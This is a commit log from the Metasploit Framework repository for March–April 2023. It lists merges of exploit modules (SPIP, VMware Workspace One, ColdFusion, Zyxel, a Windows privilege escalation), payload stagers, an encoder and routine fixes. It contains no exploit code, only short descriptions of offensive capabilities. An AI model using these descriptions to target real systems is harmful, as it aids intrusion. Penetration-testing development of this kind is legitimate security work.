Metasploit 2eaa31c402 automatic module_metadata_base.json update 2023-04-18 10:17:44 -05:00
bwatters 6ae00877ed Land #17854, VMware Workspace One Access mr_me Hekate RCE
Merge branch 'land-17854' into upstream-master
2023-04-18 09:49:41 -05:00
adfoster-r7 1b72de063e Land #17903, Add missing fields when reading metadata cache 2023-04-18 11:48:05 +01:00
adfoster-r7 7eb799bc89 Land #17904, Remove active database check for module cache rebuild 2023-04-18 11:12:15 +01:00
Dean Welch 7667499011 Update comment and correctly format date 2023-04-18 11:06:19 +01:00
vtoutain e4ae9e0997 Merge branch 'rapid7:master' into dolibarr_16_contact_dump 2023-04-18 11:37:13 +02:00
dsecbypass 413082a4d6 Linting
Simplified version regex, fixed rubocop findings.
2023-04-18 11:24:14 +02:00
Dean Welch d17ab39748 Remove active database check for module cache rebuild 2023-04-17 23:55:37 +01:00
Dean Welch e874731781 Pull out autofilter_ports and autofilter_services from metadata cache 2023-04-17 23:45:19 +01:00
Jack Heysel 78e80f8e32 docs fix 2023-04-17 16:41:35 -04:00
Jack Heysel 162fe21659 Documentation copy pasta correction 2023-04-17 16:39:57 -04:00
jheysel-r7 d4b668e27b Update documentation/modules/exploit/linux/http/vmware_workspace_one_access_vmsa_2022_0011_chain.md
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-04-17 16:36:31 -04:00
Metasploit e54d602d4c automatic module_metadata_base.json update 2023-04-17 14:56:35 -05:00
Jack Heysel db853f9a68 Land #17711, SPIP unauth RCE module
This module exploits a publically accessible endpoint in
SPIP that results in code execution in the context of the
user running the webapp (CVE-2023-27372).
2023-04-17 15:30:03 -04:00
jvoisin a4e1952da3 Add a module for the latest SPIP vuln 2023-04-17 13:41:03 -04:00
RageLtMan 97c0fa7411 Split CachedResolver to own file per jmartin-r7 2023-04-17 13:14:47 -04:00
dsecbypass a05aae3ebe Support remote database storage
It's better to pass the CSV string to store_loot directly instead of using nil and writing to the local file path ourself.
2023-04-17 17:24:59 +02:00
dwelch-r7 6984c6c7d4 Land #17884, Before running tests ensure database is migrated 2023-04-17 16:08:16 +01:00
Metasploit cf68410e0e automatic module_metadata_base.json update 2023-04-17 08:17:50 -05:00
adfoster-r7 dec705cc2a Land #17898, Adds support for attic label on issues 2023-04-17 13:55:20 +01:00
adfoster-r7 396a4b90cc Land #17892, update unified_remote_rce docs 2023-04-17 13:53:32 +01:00
dsecbypass 3b710293f5 Dolibarr 16 unauthenticated contact database dump
Auxiliary module and documentation.
2023-04-17 14:52:05 +02:00
cgranleese-r7 c1df987c0b Adds support for attic label on issues 2023-04-17 13:45:39 +01:00
sfewer-r7 e54774fd20 ensure SRVHOST is a routable IP 2023-04-17 13:01:30 +01:00
h00die 2c7d54da2f joomla api cve-2023-23752 with create_credential_and_login 2023-04-16 23:20:19 -04:00
h00die 32b6741cd8 joomla api cve-2023-23752 2023-04-16 22:54:54 -04:00
adfoster-r7 169d86e9ae Land #17893, move asan docs 2023-04-17 02:52:19 +01:00
h00die 37130e5a3d move asan docs 2023-04-16 10:19:43 -04:00
h00die 4b176c8ef5 fix unified_remote_rce docs 2023-04-16 10:11:01 -04:00
adfoster-r7 879f94571e Land #17888, Msf::Ui::Console::CommandDispatcher::Core: Fix 'help setg' output 2023-04-15 23:05:27 +01:00
bcoles 1e23dffc5b Msf::Ui::Console::CommandDispatcher::Core: Fix 'help setg' output 2023-04-15 20:35:15 +10:00
adfoster-r7 19c79bed18 Before running tests ensure database is migrated 2023-04-15 00:35:09 +01:00
adfoster-r7 71a058b555 Fix crash for lotus domino hashes module when database not active 2023-04-14 23:28:32 +01:00
Metasploit 66e58e395c automatic module_metadata_base.json update 2023-04-14 15:48:41 -05:00
Grant Willcox 246a69e897 Remove unneeded return statement after raising an exception 2023-04-14 15:28:17 -05:00
Grant Willcox da5a361d3f Remove extra require that wasn't needed with Zeitwerk 2023-04-14 15:28:17 -05:00
Grant Willcox 2d90bdcecb Fix up some YARD issues 2023-04-14 15:28:17 -05:00
RageLtMan db08c5df11 Address @gwilcox-r7's notes 2023-04-14 15:28:17 -05:00
RageLtMan 4be8cd3752 Annotate skip of Debian IPv6 hosts 2023-04-14 15:28:16 -05:00
Grant Willcox 89a564c378 Fix up YARD documentation to account for potential nil being returned 2023-04-14 15:28:16 -05:00
Grant Willcox b01b3a5ecd Fix typo that prevented entries from being cached 2023-04-14 15:28:16 -05:00
RageLtMan 9a23e63365 DNS Resolver Improvements
Handle proxy connection resets over TCP (common w/ ENUM_BRT & TOR).
Ensure qtype is a string before passing to cache.
2023-04-14 15:28:16 -05:00
RageLtMan 6039affe0d Address @gwilcox-r7's comments 2023-04-14 15:28:15 -05:00
RageLtMan da93c9440f Cleanup cache API 2023-04-14 15:28:15 -05:00
RageLtMan 3d49b4b429 Use ivar_set for answer setters 2023-04-14 15:28:15 -05:00
RageLtMan 513779fd3f Drop vestigial #validate_path calls 2023-04-14 15:28:15 -05:00
RageLtMan c4e29eaa94 Implement Caching DNS Resolver in Rex
Rex::Proto::DNS::Resolver is currently unable to approximate the
host OS' native resolver because:
1. It cannot cache responses and has to go out to its defined NS'
each time to query for the answers,
2. Because it is not aware of the system's hostsfile entries which
can result in leaks/mis-targeted execution, and a bunch of other
unpleasantly nuanced problems.

Address the concern by:
1. Creating a descendant CachedResolver class from
Rex::Proto::DNS::Resolver, with a #send method override which
performs cache query and population.
2. Moving the Cache class up one namespace to Rex::Proto::DNS and
updating the server accordingly.
3. Fixing the MATCH_HOSTNAME regex in Rex::Proto::DNS::Constants to
allow a short-name (vs FQDN) and creating a relevant MATCH_FQDN.

TODO:
1. Deal with adding search domains from the system to short-name
queries and records; if we decide this is a good idea (potential
for leaks).
2. Look at performance optimization for multiple concurrent queries
via singleton/refcounted/other optimized concurrent access patters.

Testing:
1. Pry-level tests of the objects edited/created in this PR. Needs
some runtime testing to QA.
2023-04-14 15:28:05 -05:00
Jack Heysel cda2e9610b Land #17820, optimising the nagiosxi modules
This PR refactors the authenticated nagiosxi modules and mixins..
2023-04-14 16:21:26 -04:00
Jack Heysel ace2f42387 Changed ranking to Good 2023-04-14 15:15:40 -04:00
Grant Willcox f9bbf32447 Land #17882, Update metasploit-payloads gem to 2.0.125 2023-04-14 11:58:41 -05:00
sfewer-r7 5d05754d9b update the AKB URL to reference the changed CVE 2023-04-14 17:44:38 +01:00
Spencer McIntyre afce19d378 Update metasploit-payloads gem to 2.0.125
Includes changes from:
* rapid7/metasploit-payloads#633
* rapid7/metasploit-payloads#625
2023-04-14 11:19:33 -04:00
sfewer-r7 e6211175b3 rename the files to the correct CVE 2023-04-14 15:52:13 +01:00
sfewer-r7 b5ea420760 On April 12 Adobe reclassified CVE-2023-26360 from an Improper Access Controll vuln to a Deserialization of Untrusted Data vuln. A private report has confirmed that CVE-2023-26359 is a similar yet seperate vuln, so I am changing the CVE associated with these two modules from CVE-2023-26359 to CVE-2023-26360 as we now beliee this is the correct CVE. 2023-04-14 15:49:10 +01:00
h00die-gr3y e0926890ab init commit module 2023-04-14 13:07:12 +00:00
h00die-gr3y 5584685f24 init commit module 2023-04-14 13:05:42 +00:00
dwelch-r7 2c8ad1f158 Land #17809, Add bootsnap for bootup performance 2023-04-14 14:01:12 +01:00
Jack Heysel b9cb33598c Resource script for automagically running LPE 2023-04-13 14:30:55 -04:00
Jack Heysel 08788d3d82 Update logging with rc script info 2023-04-13 14:28:15 -04:00
Metasploit fae910eb6b Bump version of framework to 6.3.13 2023-04-13 12:11:45 -05:00
sfewer-r7 b7f46aab99 split the CFC_METHOD_PARAMETERS by comma and not amperstand 2023-04-13 16:55:34 +01:00
Metasploit cc0a32cdda automatic module_metadata_base.json update 2023-04-13 10:45:19 -05:00
dwelch-r7 f9d5459a9c Land #17872, Ensure identify hashes helper is accessible to modules 2023-04-13 16:20:20 +01:00
sfewer-r7 90dacd00ab favor a staged meterpreter payload over the non staged payload as a default 2023-04-13 16:11:19 +01:00
sfewer-r7 8377cb7d6d group multiple suffixes with one call to end_with? 2023-04-13 16:00:30 +01:00
sfewer-r7 ae87f35944 fix two typos in documentation 2023-04-13 15:57:48 +01:00
Metasploit 7feeb25ee1 automatic module_metadata_base.json update 2023-04-13 09:27:49 -05:00
adfoster-r7 aef2b8d314 Land #17804, Fix incorrect module metadata CI and add validation automation 2023-04-13 15:11:46 +01:00
Metasploit 8cc6b88071 automatic module_metadata_base.json update 2023-04-12 19:47:46 -05:00
Grant Willcox d19c9e7732 Land #17867, fix always vulnerable in Auxiliary module surgenews_user_creds 2023-04-12 19:32:39 -05:00
Grant Willcox 0ed25cd2cc Fix RuboCop issues 2023-04-12 19:05:30 -05:00
adfoster-r7 7a4fc4b58b Land #17805, Disable Lint/UnusedMethodArgument as it can break YARD definitions 2023-04-13 00:29:19 +01:00
Metasploit 9194e66737 automatic module_metadata_base.json update 2023-04-12 17:20:28 -05:00
Grant Willcox 0e3a341ac9 Land #17864, Correct incorrect log format 2023-04-12 17:05:35 -05:00
Jack Heysel 30cf40a4f1 VMware Workspace One Acces LPE 2023-04-12 15:36:17 -04:00
Jack Heysel bc57131b73 Moving LPE to separate PR 2023-04-12 15:23:51 -04:00
Grant Willcox 7ad6c425c0 Set Lint/UnusedMethodArgument rule to apply to everything but lib/ folder 2023-04-12 11:31:28 -05:00
Zach Goldman 87c0faa73a Add ensure disconnect to ftp login module, ftp timeout configuration 2023-04-12 11:18:50 -05:00
cgranleese-r7 0dd8f94b31 Addresses PR comments 2023-04-12 14:21:07 +01:00
Metasploit fef3796d43 automatic module_metadata_base.json update 2023-04-12 07:46:05 -05:00
adfoster-r7 8e2169ed47 Ensure identify hashes helper is accessible to modules 2023-04-12 13:28:56 +01:00
adfoster-r7 e8365aba85 Land #17870, Fixes linting errors on SCTP payloads 2023-04-12 13:24:01 +01:00
dwelch-r7 275963eca2 Land #17353, Persist icpr cert as pkcs12 credential 2023-04-12 13:16:18 +01:00
sfewer-r7 43bfdcd6b4 improve the aux file read module; add a default CFC endpoint option and support servers configured with the non-default setting 'Enable Request Debugging Output' enabled. 2023-04-12 12:39:00 +01:00
Metasploit 4ed5c59cf2 automatic module_metadata_base.json update 2023-04-12 04:58:37 -05:00
Christophe De La Fuente a6b478e046 Land #17832, Two modules for UniRPC - CVE-2023-28502 and CVE-2023-28503 2023-04-12 11:43:13 +02:00
Metasploit 0a0b11491a automatic module_metadata_base.json update 2023-04-12 04:39:17 -05:00
cgranleese-r7 a313e36c1d Fixes linting errors on SCTP payloads 2023-04-12 10:24:19 +01:00
cgranleese-r7 e6c1aecd26 Land #17502, Adds SCTP Sessions 2023-04-12 10:15:43 +01:00
Ryuuuuu 585479474b fix bug which prints always vulnerable (change code suggested code by @bcoles) 2023-04-12 08:25:34 +00:00
Ryuuuuu e3983eac1f Correct incorrect log format 2023-04-12 13:04:13 +09:00
Ryuuuuu 29c24438a6 Correct incorrect log format when no files found 2023-04-12 13:01:49 +09:00
Ron Bowes 6119330e29 Update documentation to match current version of modules 2023-04-11 09:48:53 -07:00
Ron Bowes 7dc1faa689 Better error handling, and fix version detection 2023-04-11 09:34:24 -07:00
Christophe De La Fuente 59ff65d58d Land #17821, DBManager: Import: Add Nuclei JSON database import 2023-04-11 17:51:22 +02:00
adfoster-r7 875ad34b62 Persist icpr cert as pkcs12 credential
Update creds command to support pkcs12
2023-04-11 16:25:25 +01:00
sfewer-r7 375d9b34f1 make on_request_uri compatible with both command staget and teh generic java target 2023-04-11 14:25:07 +01:00
adfoster-r7 b01e3ca324 Land #17858, Update metasploit-payloads gem to 2.0.123 2023-04-11 14:08:12 +01:00
sfewer-r7 0022d0b8c3 Merge branch 'CVE-2023-26359-java-payload' into CVE-2023-26359 2023-04-11 13:59:37 +01:00
adfoster-r7 b9f3d2b1d5 Land #17862, Msf::Payload::Apk: Bump apktool minimum required version to 2.7.0 2023-04-11 13:23:19 +01:00
sfewer-r7 0af2f00ca0 URI decode the (optional) CFC_METHOD_PARAMETER param names and values, as they will be encoded again during send_request_cgi. 2023-04-11 12:42:29 +01:00
sfewer-r7 1dc8eb2802 remove linemax option from execute_cmdstager as it was artifact from testing and is not needed here 2023-04-11 12:14:28 +01:00
sfewer-r7 296fd6fec7 add in bourne and printf command stager flavors for Linux target 2023-04-11 12:07:49 +01:00
sfewer-r7 70018f7543 add psh_invokewebrequest as a command stager flavor for Windows 2023-04-11 11:57:39 +01:00
sfewer-r7 5c1057dd58 use the rails method blank? here to check for both nil and empty 2023-04-11 11:48:27 +01:00
sfewer-r7 657c1446c4 dont check these datastore options for empty? as the default values will either be set or an empty value will be detected during configuration validation 2023-04-11 11:41:55 +01:00
sfewer-r7 fa1e7ae016 close all CMFL tags and chain the getRuntime and exec calls for berevity 2023-04-11 11:22:13 +01:00
bcoles 3b7cf035ea DBManager: Import: Add Nuclei JSON database import 2023-04-10 22:22:19 +10:00
bcoles 8525849763 Msf::Payload::Apk: Bump apktool minimum required version to 2.7.0 2023-04-10 21:07:25 +10:00
Jack Heysel a2d2946007 Rubocop 2023-04-07 13:53:12 -04:00
Jack Heysel 18170babc2 Fix RCE payloads and add autorunscript 2023-04-07 13:35:16 -04:00
Ron Bowes 1a8671311d Move the offsets into a field separate from 'targets' 2023-04-07 10:26:56 -07:00
Ron Bowes 02072418f0 Expand the comment about why we're checking for \xff (since it can't appear in the payload) 2023-04-07 10:10:13 -07:00
Spencer McIntyre eec0e71dd7 Update metasploit-payloads gem to 2.0.123
Includes changes from:
* rapid7/metasploit-payloads#628
2023-04-07 10:45:14 -04:00
Jack Heysel 056b0a0e8b LPE and doc updates 2023-04-07 10:41:10 -04:00
Metasploit 599c8609a7 automatic module_metadata_base.json update 2023-04-07 08:47:12 -05:00
adfoster-r7 42902bb5e5 Land #17851, fix check function which always prints vulnerable 2023-04-07 14:24:45 +01:00
Jack Heysel 665ba4aece Add additional target 2023-04-06 23:41:36 -04:00
Ryuuuuu 9985538846 Update modules/exploits/linux/http/apache_couchdb_cmd_exec.rb
fix nil exception

Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-04-07 09:55:00 +09:00
Jack Heysel 79d4021f31 Replaced janky XML building 2023-04-06 14:58:05 -04:00
Jack Heysel 544fb8ead6 Removed unecessary start_service proc 2023-04-06 14:26:02 -04:00
Ron Bowes ce111f158a Better error handling 2023-04-06 10:35:33 -07:00
Jack Heysel d92fc41d29 Print out what command fails when attempting RCE 2023-04-06 13:31:17 -04:00
Jack Heysel 4984a3e2d3 Edit check method to raise errors instead of returning boolean 2023-04-06 13:25:20 -04:00
Metasploit 261fc5227d Bump version of framework to 6.3.12 2023-04-06 12:13:28 -05:00
sfewer-r7 b05c9c6303 add a generic java target 2023-04-06 17:29:50 +01:00
Metasploit 3c7c2f1fbe automatic module_metadata_base.json update 2023-04-06 11:27:31 -05:00
adfoster-r7 d08fa00c06 Land #17458, Weblogic t3s support 2023-04-06 17:13:16 +01:00
Steve E 67b98b5120 merge tested exploits 2023-04-06 15:42:39 +01:00
sfewer-r7 43fe41bea5 RCE exploit for CVE-2023-26359 and an auxiliary module for arbitrary file read via the same vuln. 2023-04-06 14:02:01 +01:00
Steve E f0189cc886 revert another get_once 2023-04-06 11:43:50 +01:00
Steve E 656c562816 Added notes, revert to get_once 2023-04-06 11:01:32 +01:00
Steve Embling cc79fe039a Merge branch 'rapid7:master' into weblogic-t3s-support 2023-04-06 10:38:29 +01:00
Jack Heysel b7456e20d5 VMware Workspace One Access mr_me Hekate exploit 2023-04-05 23:10:34 -04:00
Ron Bowes 523931aa4c Change target options for stack overflow exploit 2023-04-05 15:24:49 -07:00
Ron Bowes c345fe78b8 Fix up error handling and other comments from the PR 2023-04-05 15:13:35 -07:00
Ron Bowes c07ca83d6c Fix the metadata and add an in-memory target 2023-04-05 14:07:12 -07:00
Ron Bowes 04a9ae7335 Add check methods 2023-04-05 10:55:28 -07:00
Ron Bowes c22c2904c2 Fix msftidy_docs stuff 2023-04-05 10:53:58 -07:00
cgranleese-r7 e004be00fe Converted to Active Support 2023-04-05 16:53:01 +01:00
Metasploit 452daf0b64 automatic module_metadata_base.json update 2023-04-05 10:10:02 -05:00
Christophe De La Fuente 5d63175b56 Land #17823, php_cgi_arg_injection: Fix check regex match to detect code html tag 2023-04-05 16:44:52 +02:00
adfoster-r7 653234e1d0 Add bootsnap for bootup performance 2023-04-04 10:35:53 +01:00
cgranleese-r7 818046c6dd wip 2023-04-04 10:27:15 +01:00
cgranleese-r7 769e2e760c stop point 2023-04-04 10:27:15 +01:00
cgranleese-r7 c3a7da54d5 reduces code duplication 2023-04-04 10:27:11 +01:00
cgranleese-r7 40e6917b7f tests passing 2023-04-04 10:24:09 +01:00
Ryuuuuu 8b3d799104 fix check function which always prints vulnerable 2023-04-04 10:07:06 +09:00
adfoster-r7 05d9e7f9d6 Land #17842, Update docs for cmdstager 2023-04-03 21:33:01 +01:00
bwatters 917bbbc9e0 fix tagging issue 2023-04-03 15:06:26 -05:00
bwatters c93a4d0e30 So we don't actually use an http server when we use cmdstager::flavor certutil 2023-04-03 15:06:26 -05:00
bwatters 2a0221a7ed Attempt to update and clarify cmdstager docs 2023-04-03 15:06:26 -05:00
cgranleese-r7 2de5d4324f Land #17849, Update docs to use links for Github handles 2023-04-03 17:21:23 +01:00
adfoster-r7 7058d4c8ad Land #17838, Railgun documentation updates 2023-04-03 17:09:33 +01:00
Spencer McIntyre 9af0f5ca0c Railgun documentation updates 2023-04-03 09:31:30 -04:00
Metasploit a6159ccda5 automatic module_metadata_base.json update 2023-04-03 06:17:46 -05:00
adfoster-r7 f7cee703ce Land #17835, cisco_dcnm_auth_bypass: Fix TARGETURI URL normalization 2023-04-03 11:47:56 +01:00
adfoster-r7 728e1f1ea2 Land #17836, Add session.platform example to post module docs 2023-04-03 11:45:11 +01:00
adfoster-r7 2b90337947 Land #17844, fix broken module references 2023-04-03 11:34:13 +01:00
adfoster-r7 ffea12fe2c Land #17837, AutoCheck documentation 2023-04-03 11:31:35 +01:00
adfoster-r7 a853efb05f Land #17840, Add notes section to exploit template 2023-04-03 11:28:48 +01:00
adfoster-r7 c12ef82d35 Land #17841, Update Assigning-Labels doc 2023-04-03 10:49:46 +01:00
Christophe De La Fuente 057fd1b74b Remove instance variables from example code 2023-04-03 11:30:03 +02:00
adfoster-r7 b3d4812416 Update docs to use links for github handles 2023-04-03 10:29:51 +01:00
SubcomandanteMeowcos a54f3d4707 fix broken module references
doing these "by domain" now, piecemeal.

this PR fixes all broken references to the "insecurety" website, which is long dead.
2023-04-01 05:17:02 -07:00
manishkumarr1017 812d3c7f35 PR Review Changes for optimizing the nagiosxi modules 2023-04-01 14:28:37 +05:30
Jack Heysel 18cfc42cb0 Update assigning labels doc 2023-03-31 16:21:12 -04:00
jheysel-r7 e112c9b610 Update docs/metasploit-framework.wiki/Get-Started-Writing-an-Exploit.md
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-03-31 14:54:20 -04:00
Jack Heysel 51fb3335c7 Removed unnecessary changes 2023-03-31 14:40:30 -04:00
Jack Heysel b82bb572ca Add notes section to exploit template 2023-03-31 14:35:06 -04:00
Christophe De La Fuente a95ae383d0 Add cleanup doc 2023-03-31 19:56:16 +02:00
Christophe De La Fuente 6fdbc0b903 Add AutoCheck mixin doc 2023-03-31 18:25:57 +02:00
Jack Heysel c41d44ac3c Add session.platform example 2023-03-31 11:22:01 -04:00
bcoles 2711ba4b3a cisco_dcnm_auth_bypass: Fix TARGETURI URL normalization 2023-03-31 23:53:41 +11:00
dwelch-r7 eb12cfec05 Land #17778, Update brocade tests to pass locally 2023-03-31 10:51:31 +01:00
Metasploit 3aabb738bf Bump version of framework to 6.3.11 2023-03-30 12:10:12 -05:00
Metasploit fd4be04e28 automatic module_metadata_base.json update 2023-03-30 11:58:43 -05:00
Jack Heysel 15d267a233 Land #17826, post module for CVE-2023-21768
This adds an exploit module for CVE-2023-21768 that
achieves local privilege escalation on Windows 11 2H22.
2023-03-30 12:27:28 -04:00
dwelch-r7 f40e843b4e Land #17833, Add check metadata to rpc module info 2023-03-30 17:08:04 +01:00
jheysel-r7 152ef4a86b Update modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb 2023-03-30 11:28:46 -04:00
jheysel-r7 6f400052b1 Update modules/exploits/windows/local/cve_2023_21768_afd_lpe.rb 2023-03-30 11:00:55 -04:00
Metasploit 6111d55504 automatic module_metadata_base.json update 2023-03-30 08:29:58 -05:00
dwelch-r7 ab08cd2d1c Land #17753, Update get_ticket to support using forged golden tickets 2023-03-30 14:15:48 +01:00
adfoster-r7 c926f4961b Add check metadata to rpc module info 2023-03-30 10:24:31 +01:00
Metasploit 6f89d94759 automatic module_metadata_base.json update 2023-03-29 12:46:31 -05:00
space-r7 1f32004901 Land #17813, ssh_enumusers set CHECK_FALSE to true 2023-03-29 12:31:31 -05:00
Ron Bowes 7cb6213334 Fix an msftidy error 2023-03-29 09:56:04 -07:00
Ron Bowes 54ed192401 Add URLs 2023-03-29 08:10:52 -07:00
Ron Bowes 4cab9b1a34 Make rubocop happy 2023-03-29 08:05:05 -07:00
Ron Bowes 41fe44ef1a Merge branch 'master' into unirpc-auth-bypass 2023-03-29 08:03:05 -07:00
Ron Bowes 6897be4b01 Add two Metasploit modules for UniData vulnerabilities 2023-03-29 08:01:50 -07:00
Metasploit 51ea787f69 automatic module_metadata_base.json update 2023-03-29 09:49:46 -05:00
space-r7 9cd024a7a2 Land #17828, add AMQP login scanner module 2023-03-29 09:24:48 -05:00
adfoster-r7 0a559bfded Land #17704, Apache Solr RCE via Velocity Template: Attempt fix for NoMethodError when exploiting 2023-03-29 15:12:04 +01:00
adfoster-r7 e1ecdac2a5 Land #17724, Add ticket checksum to kerberos ticket creation 2023-03-29 09:01:39 +01:00
space-r7 72ec93d27a Land #17827, add AMQP version scanner module 2023-03-28 16:00:42 -05:00
adfoster-r7 aaa36e2651 Land #17831, Fix dead reference links in rpc_cmsd_opcode21.rb 2023-03-28 19:38:46 +01:00
adfoster-r7 f626b55831 Land #17825, Update zimbra_slapper_priv_esc.rb 2023-03-28 18:36:18 +01:00
adfoster-r7 f6c4679435 Land #17830, tools: modules: committer_count: Parse date argument with Time.parse 2023-03-28 18:34:24 +01:00
dm-ct 1330913e33 Fix dead reference links in rpc_cmsd_opcode21.rb
Both the reference links in this one are dead, replacing with archive.org links.

Much like https://github.com/rapid7/metasploit-framework/pull/17825, I'll be doing these ad-hoc for a little bit until I figure out a reliable way to do a load of them in one batch.
2023-03-28 18:15:26 +01:00
Jack Heysel 865251b8aa Land #17818, fix crash in RPC job info 2023-03-28 12:02:56 -04:00
bcoles 74bb908e56 tools: modules: committer_count: Parse date argument with Time.parse 2023-03-29 01:45:27 +11:00
Jack Heysel fcb93fef58 Land #17806, Optergy BMS Backdoor RCE module
This module exploits an undocumented backdoor vulnerability
(CVE-2019-7276) in the Optergy Proton and Enterprise Building
Management System (BMS) applications.
2023-03-28 10:27:35 -04:00
Jack Heysel f3c12ba176 Land #17808, Update broken secunia references
The Secunia links in the framework were dead. They have
now been restored using the wayback machine to grab
replacement links from the earliest date possible.
2023-03-27 17:20:13 -04:00
Spencer McIntyre 7a2643304e Add a missing require line 2023-03-27 16:54:04 -04:00
Spencer McIntyre 97d67c6a79 Add an AMQP login scanner 2023-03-27 16:53:03 -04:00
Spencer McIntyre 5d0ae3e0c0 Add a missing require line 2023-03-27 16:48:40 -04:00
Spencer McIntyre 95e8a1c175 Initial AMQP version scanner 2023-03-27 16:44:11 -04:00
space-r7 f9c6caa804 Land #17785, add SolarWinds (SWIS) deser RCE 2023-03-27 15:25:17 -05:00
Spencer McIntyre a36a475111 Bump rex-socket to 0.1.49
This includes the SSL fix from rapid7/rex-socket#58
2023-03-27 16:02:57 -04:00
Christophe De La Fuente 6d4ee0c071 Add exploit for CVE-2023-21768 2023-03-27 20:08:22 +02:00
dm-ct 38f7cbdfc6 Update zimbra_slapper_priv_esc.rb
fixing reference to use an archive link as the sites down.
2023-03-27 16:46:07 +01:00
bcoles abe5570902 php_cgi_arg_injection: Fix check regex match to detect code html tag 2023-03-27 15:21:04 +11:00
bcoles 8572053f0c php_cgi_arg_injection: Add notes and resolve Rubocop violations 2023-03-27 15:16:51 +11:00
h00die-gr3y bcef7ee357 updated module and documentation with SUDO option 2023-03-26 18:31:25 +00:00
manishkumarr1017 a67e894609 optimising the nagiosxi modules and also fixing the bug when autocheck is disabled 2023-03-26 15:58:45 +05:30
Jack Heysel e2e8568860 Land #17789, proftpd_modcopy_exec merge conflict 2023-03-24 23:19:18 -04:00
jheysel-r7 0d6195a9ae Merge branch 'master' into proftpd_modcopy_exec 2023-03-24 21:16:54 -04:00
Jack Heysel b7ac6d45d5 Land #17789, proftpd_modcopy_exec enhancements
This PR add documentation, notes, a reference URL, and a few
general code improvements to the check and exploit methods.
2023-03-24 21:08:28 -04:00
adfoster-r7 5f382cedba Fix crash in rpc job info command 2023-03-24 12:08:58 +00:00
Samuel Henrique d77113dad5 ssh_enumusers.rb: Change default value of 'CHECK_FALSE' to true (closes #17810)
The default action "Malformed Packet" reports all users as found even
 though they don't exist.

 Setting "CHECK_FALSE" to true will make the scanner bail out as it
 realizes the target is patched.
2023-03-23 22:24:59 +00:00
Spencer McIntyre 3ca177eb1f Add the exploit for CVE-2022-38108 2023-03-23 17:28:58 -04:00
Spencer McIntyre bfac7e6e0b Add a formatter_compatible_gadget_chains function 2023-03-23 17:28:58 -04:00
Spencer McIntyre ff3b68a352 Add the ObjectDataProvider+JsonNetFormatter 2023-03-23 17:28:58 -04:00
Spencer McIntyre 26d0f77379 Add the AMQP client 2023-03-23 17:28:53 -04:00
Metasploit 99aca10c8d Bump version of framework to 6.3.10 2023-03-23 12:10:35 -05:00
adfoster-r7 d04c8e1bce Update broken secunia references 2023-03-23 10:43:57 +00:00
h00die-gr3y 0c87b0b7cf removed Windows reference from documentation 2023-03-23 10:34:51 +00:00
bcoles 69daea95d6 exploit/unix/ftp/proftpd_modcopy_exec: Add docs and resolve RuboCop violations 2023-03-23 18:13:20 +11:00
h00die-gr3y 820e625baa updated documentation 2023-03-22 21:17:54 +00:00
h00die-gr3y 8226fb9022 fixed small typos documentation 2023-03-22 20:04:34 +00:00
h00die-gr3y 28459c286a init commit module and documentation 2023-03-22 18:40:50 +00:00
Metasploit b095a6ccd2 automatic module_metadata_base.json update 2023-03-22 13:15:21 -05:00
space-r7 67ac2dc584 Land #17771, add monitorr file upload rce 2023-03-22 13:00:38 -05:00
space-r7 3fe0801d92 use target_uri.path in requests 2023-03-22 12:50:11 -05:00
Grant Willcox 8356837e0a Land #17798, Update debug command to correctly output datastore values 2023-03-22 10:58:56 -05:00
Metasploit 16ecb2e649 automatic module_metadata_base.json update 2023-03-22 10:34:00 -05:00
adfoster-r7 d6e9e8d3bb Land #17735, fix some incorrect YARD parameters 2023-03-22 15:20:12 +00:00
Grant Willcox efd79bdd3a Land #17800, Update rubocop rule for module length limits 2023-03-22 09:44:12 -05:00
Metasploit 1918c856e1 automatic module_metadata_base.json update 2023-03-22 08:07:13 -05:00
adfoster-r7 e790b1aac6 Land #17802, update Python pingback payloads to no longer crash 2023-03-22 12:52:55 +00:00
Spencer McIntyre e02c80f10d Land #17747, Fix issues in wmap plugin 2023-03-21 17:19:23 -04:00
Spencer McIntyre 835f397f79 Add a missing include so the payloads generate 2023-03-21 16:49:25 -04:00
Metasploit 4c2b1c301f automatic module_metadata_base.json update 2023-03-21 14:23:14 -05:00
Jack Heysel 1f2a889d0c Land #17388, Zyxel router RCE
This module adds a new exploit module for a buffer
overflow in roughly 45 different Zyxel router and VPN models.
2023-03-21 15:07:04 -04:00
Jack Heysel f5d1aab01a Changed send_request_cgi to raw 2023-03-21 14:26:05 -04:00
adfoster-r7 5d0b7c191c Update rubocop rule for module length limits 2023-03-21 17:38:15 +00:00
adfoster-r7 dd576dd860 Update debug command to correctly output datastore values 2023-03-21 14:02:30 +00:00
adfoster-r7 56e5796157 Land #17784, Performance regression eager load 2023-03-21 12:59:02 +00:00
adfoster-r7 236de61130 Land #17583, Enhances info -d with references to AttackerKB 2023-03-21 12:38:36 +00:00
Dean Welch acf23e9c61 Sets config.eager_load to false for production envs 2023-03-21 12:31:33 +00:00
dwelch-r7 feaddc09cc Land #17795, Add documentation on debugging and running external python modules 2023-03-21 11:12:17 +00:00
dwelch-r7 2f45c3baa8 Land #17794, Update external modules to support python3.11 2023-03-21 11:09:55 +00:00
adfoster-r7 cf3d14d42f Update external modules to support python 3.11 2023-03-21 11:00:56 +00:00
adfoster-r7 83cc0bf5a9 Add documentation on debugging and running external python modules 2023-03-21 10:59:55 +00:00
dwelch-r7 158fae2a2c Land #17792, Fix external module crash for att open proxy scanner 2023-03-21 10:53:53 +00:00
Metasploit 1764f0806e automatic module_metadata_base.json update 2023-03-20 18:04:09 -05:00
bwatters 3b73adf05d Land #17401, Add encoder module x86/xor_poly
Merge branch 'land-17401' into upstream-master
2023-03-20 17:48:46 -05:00
h00die-gr3y c5ed25cd6c small update to documentation on vulnerable releases 2023-03-20 21:12:49 +00:00
h00die-gr3y e3df74ee5b Updates addressing review points of space-r7 2023-03-20 21:04:58 +00:00
H00die.Gr3y 871a251c94 Apply suggestions from code review
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2023-03-20 21:44:11 +01:00
Spencer McIntyre e59a192a84 Restructure AMQP protocol definitions 2023-03-20 16:24:31 -04:00
Spencer McIntyre c82af18e68 Set the class and method ID from the arguments 2023-03-20 16:24:30 -04:00
Spencer McIntyre 31e3f459d8 Add some basic AMQP protocol definitions 2023-03-20 16:24:30 -04:00
